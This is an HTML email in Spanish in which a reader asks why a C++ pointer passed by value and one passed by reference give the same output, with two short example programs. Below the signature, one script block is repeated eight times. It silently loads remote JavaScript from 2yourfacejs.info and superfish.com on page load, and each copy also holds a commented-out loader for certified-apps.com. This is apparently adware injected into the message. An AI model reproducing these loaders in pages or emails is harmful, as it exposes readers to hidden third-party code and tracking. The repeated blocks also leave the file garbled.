<html>
<head>
<style><!--
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
font-size: 10pt;
font-family:Tahoma
}
--></style></head>
<body class='hmmessage'><div dir='ltr'>
<div>Hola, tengo dos pregunta con respecto al codigo que aparece como ejemplo en el capitulo de punteros como parametros.</div><div>El codigo es el siguiente: </div><div><br></div><div>#include <iostream></div><div>using namespace std;</div><div> </div><div>void funcion(int *q);//puntero por valor</div><div> </div><div>int main() { </div><div>   int a; </div><div>   int *p;</div><div>   a = 100; </div><div>   p = &a; </div><div>   funcion(p); </div><div>   cout << "Variable a: " << a << endl; </div><div>   cout << "Variable *p: " << *p << endl; </div><div>   return 0; </div><div>}</div><div> </div><div>void funcion(int *q) { </div><div>   *q += 50; </div><div>}</div><div><br></div><div>Si en este ejemplo se esta pasando un puntero por valor, no entiendo porque las modificaciones se conservan al abandonar la funcion?. Lo digo porque la salida del programa es :</div><div>Variable a :150   </div><div>Variable *p : 150  //esta salida no la entiendo, si los cambios en el propio puntero son locales y no se conservan al regresar, la salida no deberia quedar:  Variable *p : 100 ?.</div><div><br></div><div>Y la otra pregunta es: Usando el mismo codigo, pero ahora pasando el puntero por referencia, porque la salida del programa es la misma?, si en el anterior se paso por valor y en este por referencia, porque los resultados son iguales?</div><div><br></div><div>#include <iostream></div><div>using namespace std;</div><div> </div><div>void funcion(int *&q);//puntero por referencia</div><div> </div><div>int main() { </div><div>   int a; </div><div>   int *p;</div><div>   a = 100; </div><div>   p = &a; </div><div>   funcion(p); </div><div>   cout << "Variable a: " << a << endl; </div><div>   cout << "Variable *p: " << *p << endl; </div><div>   return 0; </div><div>}</div><div> </div><div>void funcion(int *&q) { </div><div>   *q += 50; </div><div>}</div><div><br></div><div>MUCHAS GRACIAS POR SU EXPLICACIÓN !!. </div><div>Sino es mucha molestia podrian enviar un ejemplo sencillo en el que se vea realmente la diferencia entre pasar un puntero por valor, y pasar un puntero por referencia.</div><div>De nuevo muchas gracias por compartir su amplio conocimiento con la comunidad de programadores.</div><div><br></div><div>ATT: Edwin Bohorquez</div><div> </div><div><br></div><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script>                                           </div></body>
</html>